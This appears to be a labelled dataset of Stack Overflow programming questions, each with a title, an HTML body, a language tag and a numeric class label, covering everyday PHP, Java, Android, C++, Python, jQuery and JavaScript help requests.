<p>I've been asked to create a class that does some stuff, and then returns an object with read only properties.. Now I've created the class and I've got everything working 100%, however I'm confused when they say to 'return an object with read only properties'..</p> <p>This is the outline of my php file which contains the class and some extra lines calling it etc:</p> <pre><code>class Book(){ protected $self = array(); function __construct{ //do processing and build the array } function getAttributes(){ return $this-&gt;self; //return the protected array (for reading) } } $book = new Book(); print_r($book-&gt;getAttributes()); </code></pre> <p>Can someone please help me with returning an object or something?</p> <p>Thanks</p>
php
[2]
865,180
865,181
Accessing element with ID that contains "." character
<p>I'm trying to access elements using jquery <code>$('#elementID')</code> method. If any element contain <strong>"."</strong> character like </p> <pre><code>id="element.0" id="element.1" </code></pre> <p>i can't access that element.</p> <p>Is it because of the <strong>"."</strong> character in id string ? </p>
jquery
[5]
5,451,427
5,451,428
Clamping values in preference screen
<p>Is there a way to clamp the numerical value entered into a editTextPreference? I'd like to limit a value to say +- 45.</p>
android
[4]
2,036,976
2,036,977
How do i get started with Android?
<p>How should i get started with Android? From where do i get help and sample source code? Can a JSF application run on Android phones? I saw primefaces site and it has TouchFaces which are meant for Android phones. But i really don't know how should i get started with Android. Is it too tough? Does it take too much time creating even a simple application?</p> <p>Thanks in advance :)</p>
android
[4]
1,507,004
1,507,005
Referring to the address of a collection element via iterators
<p>How can I refer to the address of an element in a vector using iterators. </p> <pre><code>vector&lt;Record&gt;::const_iterator iter = collectionVector.begin(); while(iter != collectionVector.end()) { //How can I refer to the address of a Record here function(...); //accepts &amp;Record type } </code></pre>
c++
[6]
4,900,977
4,900,978
how to parse a complex string into Date in java
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/999172/how-to-parse-date-in-java">how to parse date in java?</a><br> <a href="http://stackoverflow.com/questions/4457108/how-do-i-convert-2010-12-15t162649-841-0800-to-a-gregoriancalendar-in-java">How do I convert 2010-12-15T16:26:49.841-08:00 to a GregorianCalendar in Java?</a> </p> </blockquote> <p>Example string:</p> <pre><code>2009-06-04T11:17:14-07:00 </code></pre> <p>I am not sure how to construct the formatter string for this one. Anyone can help please? Thanks! :)</p>
java
[1]
5,999,956
5,999,957
Can I read .fdb file using C#
<p>i have some files with this extension ".fdb" and i need to read it using c#,what is the connection type to use and could i import it in sql database?</p> <p>this is request by FOXBORO team member,he told me that it is called sequence events file extracted from package called AIM*Historian. any help will be appreciated.</p>
c#
[0]
2,834,122
2,834,123
java local upload and download file
<p>I have a problem that about simple upload and download file. I have a local java program that allow user upload file. eg. a file call abc.txt in desktop upload to the java workspace location, ./upload. However, I use:</p> <pre><code>boolean success = srcFile.renameTo(new File(dir, srcFile.getName())); </code></pre> <p>dir is the destination, the file will cut in the desktop and paste in the ./upload. But I want to copy and paste. Then, the path that store the file will store in the database. how to solve. </p> <p>Also, after upload, is it possible download the file based on the path that store in the Database ?</p>
java
[1]
4,289,406
4,289,407
Android Bar Code Reader Functionality
<p>I need to do product bar code scanning. I would like to know how to integrate this functionality into my own custom app? Should I write an activity to do this that uses some library? If so what library? or could I call an app that already has this capability from within my app? </p>
android
[4]
3,819,429
3,819,430
Set time widget?
<p>Could anyone tell me how it's done to make a scroll bar like this? Is it a widget or what's needed to make it?</p> <p><img src="http://i.stack.imgur.com/IBSs5.jpg" alt="enter image description here"></p>
android
[4]
5,360,279
5,360,280
How do i colour a BufferedImage/ Image in java?
<p>Sorry, if I asked a question that doesn't make sense, basically i just need a code snippet and possibly an explanation on how to colour in Images in java. (The images are greyscale)</p>
java
[1]
4,088,244
4,088,245
ListAdapter - get next row that's about to come on screen? (for bitmap preloading)
<p>I have a list adapter which shows a large photo in each row. I'm fetching the bitmap off the disk in a thread in the ListAdapter.getView() method. This works fine, but it's slightly annoying that when the user is scrolling, they'll see the top of a new row coming on screen with the empty ImageView. The thread to read the bitmap off disk completes pretty quickly and then the redraw happens.</p> <p>Is there a good pattern in the ListAdapter world to signal that the "next" row is in danger of coming onto screen momentarily? Ideally I'd like to start a thread to load the bitmap for this invisible row and get the bitmap into my memcache, that way if the user does scroll to this cell, the bitmap will already be loaded.</p> <p>I suppose I'd need to know that (1) the user is scrolling downwards and (2) the top edge of the next invisible row is approximately 20 pixels or some value away from being visible.</p> <p>Thanks</p>
android
[4]
4,614,744
4,614,745
Getting 401 response from C2DM
<p>I am getting exception from google saying:</p> <pre><code>java.io.IOException: Received authentication challenge is null </code></pre> <p>I read that this is reproducing 401 error. So this </p> <pre><code>Indicates that the ClientLogin AUTH_TOKEN used to validate the sender is invalid. </code></pre> <p>But i have everything registreted and logined with ClientLogin successfully. So what wrong could be?</p> <p>Also do i need to reigstrate my app here ?</p> <p><a href="https://developers.google.com/android/c2dm/signup?hl" rel="nofollow">Sing up for C2DM</a></p> <p>Because i haven't Thanks</p>
android
[4]
776,928
776,929
Adding the elements of a double[] array without using a loop in java
<p>I have a <strong>double[]</strong> of huge size. (Ex : Eg.<code>double[] array = new double[] {2.0, 3.1, 4.2, 8.9, 10.11, ........}</code>)</p> <p>I want to <strong>get the sum of all the elements</strong> of that array at once. <strong>(Without using a loop)</strong>.</p> <p>Do you have any idea to do this?</p>
java
[1]
4,749,007
4,749,008
Javascript Insert Row
<p>I have an HTML Table consisting of several rows. I am trying to insert rows at a specific position in the table. For example if I mark an already existing row and click insert a new row should be inserted below. At the moment adding rows at the bottom of the table works. What I need is to insert the already build row at a certain position. </p> <p>Here is my code:</p> <pre><code>function addLine(lineNumberGlobal,columnnumber,insertion) { var newrow = document.createElement("tr"); newrow.setAttribute('id', globalObj.lineNumberGlobal); newrow.setAttribute('onmousedown', "setCurIdG(getAttribute(\"id\"))"); for (j = 1; j &lt;= globalObj.monthdays + 1; j++) { //build row cells with content } if (insertion == true) { var newrowinsert = globalObj.bodyGlobal.insertRow(globalObj.currenIdGlobal); //this actually inserts a new empty row but I want to append my existing row "newrow" } else if (insertion == false) { globalObj.bodyGlobal.appendChild(newrow); } } </code></pre> <p>Any help would be appreciated ...</p>
javascript
[3]
1,391,459
1,391,460
What is the most effecient way to write application code?
<p>I am new to android application developement.<br> How can I write efficient and optimized code? Can anyone give me a tutorial or example source with explanation.</p>
android
[4]
46,891
46,892
How to put multiple statements in one line?
<p>I wasn't sure under what title to ponder this question exactly, coding golf seems appropriate if a bit unspecific.</p> <p>I know a little bit of comprehensions in python but they seem very hard to 'read'. The way I see it, a comprehension might accomplish the same as the following code:</p> <pre><code>for i in range(10): if i == 9: print('i equals 9') </code></pre> <p>This code is much easier to read than how comprehensions currently work but I've noticed you cant have two ':' in one line ... this brings me too...</p> <h1><strong>my question:</strong></h1> <p>Is there any way I can get the following example into ONE LINE.</p> <pre><code>try: if sam[0] != 'harry': print('hello', sam) except: pass </code></pre> <p>Something like this would be great:</p> <pre><code>try: if sam[0] != 'harry': print('hellp', sam) except:pass </code></pre> <p>But again I encounter the conflicting ':' I'd also love to know if there's a way to run <strong>try</strong> (or something like it) without except, it seems entirely pointless that I need to put except:pass in there. its a wasted line.</p> <p>Thank you for you input ... and here have a smiley <strong>:D</strong></p>
python
[7]
5,883,534
5,883,535
TiProxy.h and TiModule.h not find in xcode 4
<p>i made a titanium module which work perfectly with the xcode 3 and titanium 1.6.2 but not work on the xcode 4 and titanium 1.7.2.pls solve the problem </p>
iphone
[8]
4,057,968
4,057,969
Splitting data from URL?
<p>Say my url is <code>site.php?id=X-34837439843</code></p> <p>How do i split it so I return</p> <pre><code>$table = "X"; $id = "X-34837439843"; </code></pre> <p>Basically I'm using the same page to select from different tables, and the letter at the beginning of the ID represents which table, so I need to split the left side of the <code>"-"</code>.</p>
php
[2]
3,193,074
3,193,075
Containkey(List<String> key ) and get(List<String> key ) operations on Map Datastructure
<p>In my current project, I have implemented following data structure in Java.</p> <pre><code>Map&lt;List&lt;String&gt;, Set&lt;Subscriber&gt;&gt; regionSubscriber = new Hashtable&lt;List&lt;String&gt;, Set&lt;Subscriber&gt;&gt;(); </code></pre> <p>I want to implement following operations on above mentioned data structure.</p> <p>1) Check the key exists in this map or not ( similar to <code>containsKey(Key)</code> ). 2) Get the Set with key List ( similar to <code>get(key)</code> ).</p> <p>I have tried with default functions of Map like <code>containskey(Key)</code> and <code>get(Key)</code> . But, they are not working because, here the Key is List (not a single Object).</p> <p>Could you advise me on the implementation of the operations ? Let me know If you need more detail for clarity.</p> <hr> <p>Update: I have written following equals() and hashCode() functions. Kindly check these functions. They are not working. Any corrections on these functions.</p> <pre><code>public boolean equals(Object obj){ boolean booleanFlag = false; List&lt;String&gt; regionID = (List&lt;String&gt;) obj; for(int i=0; i&lt; regionID.size() ; i++) { if ( regionID.get(i).equals(this.regionIDs.get(i)) ){ booleanFlag = true; } else { booleanFlag = false; } } return booleanFlag; } @Override public int hashCode() { int hashValue = 0; for(int i=0; i&lt; regionIDs.size(); i++) { hashValue = hashValue + regionIDs.get(i).hashCode(); } return hashValue; } </code></pre>
java
[1]
2,450,349
2,450,350
How to override the behavior of the volume buttons in an Android application?
<p>I'd like to use the volume buttons for something else in my Android application. The Dolphin browser does this I am told. Anyone know how?</p>
android
[4]
3,045,620
3,045,621
An issue in designing a Card Trick Game using C#
<p>I want to create a card trick game using C#. I've designed Picture Boxes on the form to be the cards (backside). I also created a Click method for each of the pictures that creates a random number between 0, 51 and use the number to set an image from an ImageList. </p> <pre><code> Random random = new Random(); int i = random.Next(0, 51); pictureBox1.Image = imageList1.Images[i]; </code></pre> <p>My problem is that sometimes I get the same numbers (example: two Jacks of Spades), how can I prevent that?! (I mean if, for example, I got (5), I may get another (5))</p>
c#
[0]
2,853,350
2,853,351
Excel file getting corrupted inside jar
<p>We are using a j2ee system and the excel file when we are jarring up is getting corrupted. We are using Maven script to jar it up. Any suggestions/ideas?</p>
java
[1]
1,442,791
1,442,792
Parse json tree structure
<p>I'm trying to output all elements of this json : </p> <pre><code>{"nodes":[{"url":"asdfas","date":""},{"url":"asdfas","date":""},{"url":"asdfasfdasas","date":""}]} </code></pre> <p>Here is the code I have so far, but nothing is being outputted.</p> <pre><code>&lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var arr = "{\"nodes\":[{\"url\":\"asdfas\",\"date\":\"\"},{\"url\":\"asdfas\",\"date\":\"\"},{\"url\":\"asdfasfdasas\",\"date"\:\"\"}]}"; for(var i=0;i&lt;arr.length;i++){ var obj = arr[i]; for(var key in obj){ var attrName = key; var attrValue = obj[key]; $('body').append(attrName); } } &lt;/script&gt; &lt;body&gt; &lt;/body&gt; </code></pre> <p>EDIT:</p> <p>Here is my updated file but still no output ? :</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; //Or you can parse it from a string var arr = JSON.parse('{\"nodes\":[{\"url\":\"asdfas\",\"date\":\"\"},{\"url\":\"asdfas\",\"date\":\"\"},{\"url\":\"asdfasfdasas\",\"date"\:\"\"}]}'); // You have to iterate over arr.nodes, not arr for(var i=0;i&lt;arr.nodes.length;i++){ var obj = arr.nodes[i]; for(var key in obj){ var attrName = key; var attrValue = obj[key]; $('body').append(attrName); } } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
jquery
[5]
4,859,931
4,859,932
C++ Infinite Loop
<p>I'm learning C++. </p> <p>nav is an <strong>integer</strong> .</p> <p>I want to ask user for typing a valid value, if he / she type an invalid value.</p> <pre><code>void main() { printf("Type an integer : "); if(!scanf("%d", &amp;nav)) { system("cls"); printf("Invalid ! \n"); main(); } } </code></pre> <p>But it's blinking after typing first value . It's blinking like reloading screen. I think it's infinite loop.</p> <p>How can i do it in right way ? I want to ask a number from users, until it's typing a real number . </p>
c++
[6]
64,853
64,854
JavaScript does not execute as expected - Facebook JavaScript SDK
<p>That is the body of a mvc 3 view that i have. It's about a Facebook app that i want to create. The expected result is to have a pop-up window showing the name of the user entered the app. When i run the app nothing happens so no code is executed. So what is the mistake on this?</p> <pre><code>&lt;body&gt; &lt;div id="fb-root" style="display: none"&gt;&lt;/div&gt; &lt;script&gt; window.fbAsyncInit = function () { FB.init({ appId: 'My app ID', // Application ID provided by Facebook status: true, // Check login status cookie: true, // Enable cookies to allow the server access the session xfbml: true // parse XFBML }); // Other initialization code here FB.api('/me', function (response) { alert('Your name is ' + response.name); }); }; // Load Facebook JavaScript SDK asynchronously (function (d) { var js, id = 'facebook-jssdk', ref = d.getElementByTagName('script')[0]; if (d.getElementById(id)) { return; } js = d.createElement('script'); js.id = id; js.async = true; js.src = "//connect.facebook.net/en_US/all.js"; ref.parentNode.insertBefore(js, ref); }(document)); &lt;/script&gt; @RenderBody() </code></pre> <p></p>
javascript
[3]
2,003,538
2,003,539
What are these PHP tags called?
<p>Instead of <code>&lt;?php print $somevar; ?&gt;</code> you can write <code>&lt;?= $somevar; ?&gt;</code>.</p> <p>The reason I ask is that my php configuration does not seem to be evaluating these and I need to know the name so I can change php.ini.</p>
php
[2]
4,752,528
4,752,529
How to keep my views from being redrawn
<p>I have a simple app. And I would prefer the views stay the way they are when the orientation change. How can I do that? </p> <p>Thanks in advance!</p>
android
[4]
2,510,236
2,510,237
How can I capture output and show it at the same time with Python?
<p>I have a pretty long running job, which runs for several minutes and then gets restarted. The task outputs various information which I capture like this:</p> <pre><code>output = subprocess.Popen(cmd,stdout=subprocess.PIPE).communicate() </code></pre> <p>The thing is, I will only get the entire output at a time. I would like to show output as the program is sending it to stdout, while still pushing it back in a buffer ( I need to check the output for the presence of some strings ). In Ruby I would do it like this:</p> <pre><code>IO.popen(cmd) do |io| io.each_line do |line| puts line buffer &lt;&lt; line end end </code></pre>
python
[7]
2,260,199
2,260,200
Programmatically relaunch/recreate an activity?
<p>After I do some change in my database, that involves significant change in my views, I would like to redraw, re-execute onCreate. </p> <p>How is that possible?</p>
android
[4]
4,268,334
4,268,335
Overload output operator in a enum in C++
<p>Its posible to overload the output operator inside an enum ? I'm getting all sort of errors(if I use class, I dont get any):</p> <pre><code> ../src/oop.cpp:18:2: error: expected identifier before 'friend' ../src/oop.cpp:18:2: error: expected '}' before 'friend' ../src/oop.cpp:18:2: error: 'friend' used outside of class ../src/oop.cpp:18:16: error: expected initializer before '&amp;' token ../src/oop.cpp:22:1: error: expected declaration before '}' token </code></pre> <p>I'm after to implement something like this(java code):</p> <pre><code>public enum Type { ACOUSTIC, ELECTRIC; public String toString() { switch(this) { case ACOUSTIC: return "acoustic"; case ELECTRIC: return "electric"; default: return "unspecified"; } } } </code></pre> <p>Thank you. </p> <p>edit: </p> <pre><code>enum Type { //ACOUSTIC, ELECTRIC; inline std::ostream&amp; operator &lt;&lt; (std::ostream&amp; os, Type t) // error here { } }; </code></pre>
c++
[6]
2,329,393
2,329,394
i can not use variable as javascript argument
<p>i am using Javascript on my page. there is a problem when i use variable to send parameter to function, when i write complete parameters directly as argument it works good like here </p> <pre><code>&lt;script type="text/JavaScript"&gt; var X = new MediaController({ContainerDiv:"player",MediaUrl:"test.flv"}'); &lt;/script&gt; </code></pre> <p>but as i use a temp to put this argument in it, and then use temp as argument function it does not work!</p> <pre><code>&lt;script type="text/JavaScript"&gt; var temp; temp = '{ContainerDiv:"player",MediaUrl:"test.flv"}'; var X = new MediaController(temp); &lt;/script&gt; </code></pre> <p>is there a point i missed?</p>
javascript
[3]
3,364,977
3,364,978
break cannot be used outside of a loop or a switch
<pre><code>String value = custom.getdob().toString(); if (value == null || value.equals("")) { holder.item3.setText("-"); break; } </code></pre> <p>I am actually over-riding the method getView, so i am not able to place a <code>return</code> after my if condition as it says view must be returned, but i want to exit the if condition after the check. so tried out <code>break</code> and i am getting this error "<strong>break cannot be used outside of a loop or a switch</strong>"</p> <pre><code> break; = &gt; Throws break cannot be used outside of a loop or a switch return; = &gt; This method must return a result of type View </code></pre>
java
[1]
5,882,364
5,882,365
Foursquare log-in
<p>i am developing an android application for foursquare.I have gone through every api endpoints,experimented with it.I know how to access data using api endpoints and access token.</p> <p>Now what my application requires is a log-in page containing username password.</p> <p>I use the following url for obtaining access token for a user.</p> <pre><code>https://foursquare.com/oauth2/authenticate ?client_id=MY_CLIENT_ID &amp;response_type=token &amp;redirect_uri=MY_REGISTERED_REDIRECT_URI </code></pre> <p>when i post the above url in the browser i am 1st redirected to the foursquare login page then after log-in i am directed to MY_REGISTERED_REDIRECT_URI with the access token appended to it. if i follow this procedure then my log-in page is a waste.</p> <p>Is there any way by which i can append the username and password to above url directly and bypass foursquare log-in page in my application?</p> <p>can any1 help me out with this?</p> <p>I only require a proper log-in page.</p> <p>And 1 more thing i wanted to know is that after user log-in how to get user's foursquare ID from username and password?</p>
android
[4]
4,134,773
4,134,774
Cost of SortedDictionary.Count
<p>What is the cost of <code>SortedDictionary.Count</code> in c#? Does it retrieve some integer, or does it iterate over the tree?</p>
c#
[0]
4,164,710
4,164,711
C++ Member variables confusion
<p>I'm learning C++ (coming from Java) and this is bugging the hell out of me, say I have...</p> <pre><code>class Foo { public: Bar &amp;x; // &lt;- This is a ref, Bar is not instantiated (this is just a placeholder) Bar *y; // &lt;- This is a pointer, Bar is not instantiated (this is just another placeholder) Bar z; // &lt;- What is this??? }; class Bar { public: Bar(int bunchOfCrap, int thatNeedsToBeHere, double toMakeABar); }; </code></pre> <p>In this example Bar has one constructor that needs a bunch of fields specified in order to create a "Bar." Neither x, nor y creates a Bar, I understand that x creates a reference that can be pointed to a Bar and that y creates a pointer that can also represent a Bar.</p> <p>What I don't understand is what exactly z is. </p> <ul> <li><p>Is it a Bar? And if so, how can it be given Bar's only constructor?</p></li> <li><p>Is it a Bar sized chunk of memory belonging to instances of Foo that can be initialized into a Bar?</p></li> <li><p>Or is it something else?</p></li> </ul> <p>Thanks!</p>
c++
[6]
2,757,077
2,757,078
Compatible tag in Android Manifest file
<pre><code>&lt;compatible-screens &gt; &lt;screen android:screenSize="small" android:screenDensity="ldpi"/&gt; &lt;/compatible-screens&gt; </code></pre> <p>I have written this code to support only <strong>240x320</strong> screen resolutions. It is filtering as per my need. But now I want this .apk file to also support <strong>240x400</strong> and <strong>240x432</strong> screen resolutions. </p> <p>Now is it possible to add this tag also to the above existing code:</p> <pre><code> &lt;screen android:screenSize="normal" android:screenDensity="ldpi"/&gt; </code></pre> <p>So that using this apk we can support all three screen resolution. Because I have done this application using multiple apk.</p>
android
[4]
2,390,850
2,390,851
Assign object properties to list in a set order
<p>How can I iterate over an object and assign all it properties to a list</p> <p>From</p> <pre><code>a = [] class A(object): def __init__(self): self.myinstatt1 = 'one' self.myinstatt2 = 'two' </code></pre> <p>to</p> <pre><code>a =['one','two'] </code></pre>
python
[7]
5,339,096
5,339,097
Logout for twitter, linkedin and last.fm
<p>I am able to logged into my application with linkedin, twitter and last.fm but on logout I logs out of the application and not linkedin, twitter and last.fm.I want user to logout of both linkedin, twitter and last.fm and my application at the same time. please anyone suggest me how to do that.</p> <p>thanks in advance!</p>
php
[2]
37,726
37,727
PHP Rand duplicating on mysql insert
<p>im trying to insert records in my table and have a unique id for each. </p> <p>To do this i'm using the rand() function...</p> <pre><code>&lt;input type="hidden" name="randkey" value="&lt;?php echo rand(0000000000,9999999999);?&gt;" /&gt; </code></pre> <p>My only problem is on each insert my random key/value seems to be the same? Surely on each page refresh this value should change? Can anybody explain why this may be happening? </p>
php
[2]
2,325,883
2,325,884
iPhone - check if internet connectivity is available or not
<p>I am using the following code to find out whether internet connectivity is present or not.</p> <pre><code>struct sockaddr_in zeroAddress; bzero(&amp;zeroAddress, sizeof(zeroAddress)); zeroAddress.sin_len = sizeof(zeroAddress); zeroAddress.sin_family = AF_INET; // Recover reachability flags SCNetworkReachabilityRef defaultRouteReachability = SCNetworkReachabilityCreateWithAddress(NULL, (struct sockaddr*)&amp;zeroAddress); SCNetworkReachabilityFlags flags; BOOL didRetrieveFlags = SCNetworkReachabilityGetFlags(defaultRouteReachability, &amp;flags); CFRelease(defaultRouteReachability); if (!didRetrieveFlags) { NSLog(@"Error. Could not recover network reachability flags"); return 0; } BOOL isReachable = flags &amp; kSCNetworkFlagsReachable; BOOL needsConnection = flags &amp; kSCNetworkFlagsConnectionRequired; return (isReachable &amp;&amp; !needsConnection) ? YES : NO; </code></pre> <p>This method returns the expected result when my device is connected to a wifi network. But if I test the same method on a 3G or an Edge network, it returns a NO (i.e. not connected to the internet)</p> <p>Any ideas why?</p> <p>Thanks.</p>
iphone
[8]
3,671,519
3,671,520
Is it posible to use a device to run one application exclusively?
<p>I have developed an app which is destined for tablets in hospitals for patients use. </p> <p>Right now I am being asked to make the tablet's only functionality be my app to prevent personel or any person from using it for web browsing, gaming or anything else.</p> <p>Is this posible?</p>
android
[4]
895,464
895,465
Adding custom fields on asp net membership users table
<p>I have a application which I would like to add custom fields to the users table. I am not sure how to work after adding the columns. The columns are foreign keys to another table which holds more details for the user. </p> <p>I am using Linq-to-SQL. So every time I add a user (using the membership functions i.e. <code>Membership.CreateUser(..)</code>) I end up calling another service to update the foreign keys on the users table.</p> <p>Any better way of doing this will be highly appreciated.</p>
asp.net
[9]
4,662,710
4,662,711
How to store list of values using hashmap? using following format
<p>How to do Hashmap i have list of value like</p> <pre><code>{"tname":"Learning Ratio and Proportion Concepts and practice assessment","gname":"Sixth grade"}, {"tname":"Number System","gname":"Sixth grade"}, {"tname":"quations and expression","gname":"Seventh grade"},{"tname":"Geometry","gname":"Seventh grade"} </code></pre> <p>i want to store as</p> <pre><code>list&lt;String&gt;={"Sixth grade","Seventh grade"} list(list&lt;String&gt;)={{"Learning Ratio and Proportion Concepts and practice assessment","Number System"},{"quations and expression","Geometry"}} </code></pre> <p>can any one help me thanks...</p>
java
[1]
1,783,705
1,783,706
How to keep random generators fixed in python?
<p>I have a code to assign a tag to each node in my network randomly either 'up' or 'down'.</p> <p>How I can fix this random tags for later on so that they won't change if I run my codes each time?</p> <pre><code>import networkx import random def assign_nodes(G): state = ['up','down'] for n in G: G.node[n]['sign']=random.choice(state) if __name__ =='__main__': input_data = open("data_test.txt",'r') graph = read_graph(input_data) assign_nodes(graph) </code></pre>
python
[7]
1,943,175
1,943,176
how can i Take snapshots of my Android application/Layout
<p>i am created an application in android.In that i have a doubt,for explaining that i have to show the graphical layout of main.xml. it is possible to copy my code and paste here so that everybody can see the code.Now i want to display my graphical layout along with my code.Is it possible?? if it is possible means how?</p>
android
[4]
5,924,839
5,924,840
Passing arguments to JAR which is required by Java Interpreter
<p>When i execute my <b>java application</b> i need to pass arguments which is needed by Java interpreter for Flash image.</p> <p>for eg. java -sum_arg Demo</p> <p>Now i want to create JAR file for my application and how can i overcome need of arguments.</p>
java
[1]
1,616,463
1,616,464
how to compare the Java Byte[] array?
<pre><code>public class ByteArr { public static void main(String[] args){ Byte[] a = {(byte)0x03, (byte)0x00, (byte)0x00, (byte)0x00}; Byte[] b = {(byte)0x03, (byte)0x00, (byte)0x00, (byte)0x00}; byte[] aa = {(byte)0x03, (byte)0x00, (byte)0x00, (byte)0x00}; byte[] bb = {(byte)0x03, (byte)0x00, (byte)0x00, (byte)0x00}; System.out.println(a); System.out.println(b); System.out.println(a == b); System.out.println(a.equals(b)); System.out.println(aa); System.out.println(bb); System.out.println(aa == bb); System.out.println(aa.equals(bb)); } } </code></pre> <p>I do not know why all of them print false</p> <p>when i run "java ByteArray" the answer is "false false false false"</p> <p>I think the a[] equals b[] but the JVM tell me i am wrong, why??</p>
java
[1]
2,918,953
2,918,954
How can I write a Chat client in javascript?
<p>I want to write a simple chat client in Javascript that will use little AJAX. I googled, but all chat clients use ajax heavily.Then I will integrate it with my Java based CMS. </p>
javascript
[3]
2,759,646
2,759,647
Where to place jQuery.expr code?
<p>I'm looking for a solution to have a case-insensitive version of the <code>:contains</code> selector in jQuery. I found these two posts here on Stack Overflow:</p> <p><a href="http://stackoverflow.com/questions/187537/is-there-a-case-insensitive-jquery-contains-selector">Is there a case insensitive jQuery :contains selector?</a><br> <a href="http://stackoverflow.com/questions/2196641/how-do-i-make-jquery-contains-case-insensitive">How do I make jQuery Contains case insensitive?</a></p> <p>So basically the solution is this:</p> <pre><code>jQuery.expr[':'].Contains = function(a,i,m){ return jQuery(a).text().toUpperCase().indexOf(m[3].toUpperCase())&gt;=0; }; </code></pre> <p>My only question is how do I use this? Where to I specify this piece of code? I'm loading jQuery in my header and afterwards I load my script.js file where I have my DOM ready function declared. I put this piece of code outside the DOM ready function but it doesn't change anything in the behaviour of the <code>:contains</code> selector.</p>
jquery
[5]
794,124
794,125
Why does an undefined variable in Javascript sometimes evaluate to false and sometimes throw an uncaught ReferenceError?
<p>Everything I've ever read indicates that in Javascript, the boolean value of an undefined variable is False. I've used code like this hundreds of times:</p> <pre><code>if (!elem) { ... } </code></pre> <p>with the intent that if "elem" is undefined, the code in the block will execute. It usually works, but on occasion the browser will throw an error complaining about the undefined reference. This seems so basic, but I can't find the answer. </p> <p>Is it that there's a difference between a variable that has not been defined and one that has been defined but which has a value of undefined? That seems completely unintuitive.</p>
javascript
[3]
1,100,063
1,100,064
Using JavaScript to control sections in select list
<p>I have this html code but if i have a list item like all,a,b,c,d. if i click all means it should not allow to choose other items, if i am not choosing all means it should allow to choose mulitle item from list</p> <pre><code>&lt;html&gt; &lt;body&gt; &lt;select id="mySelect" size="5" multiple="select-multiple"&gt; &lt;option&gt;All&lt;/option&gt; &lt;option&gt;a&lt;/option&gt; &lt;option&gt;b&lt;/option&gt; &lt;option&gt;c&lt;/option&gt; &lt;option&gt;d&lt;/option&gt; &lt;/select&gt; &lt;button onclick="alert(mySelect.multiple);"&gt;Multiple&lt;/button&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
javascript
[3]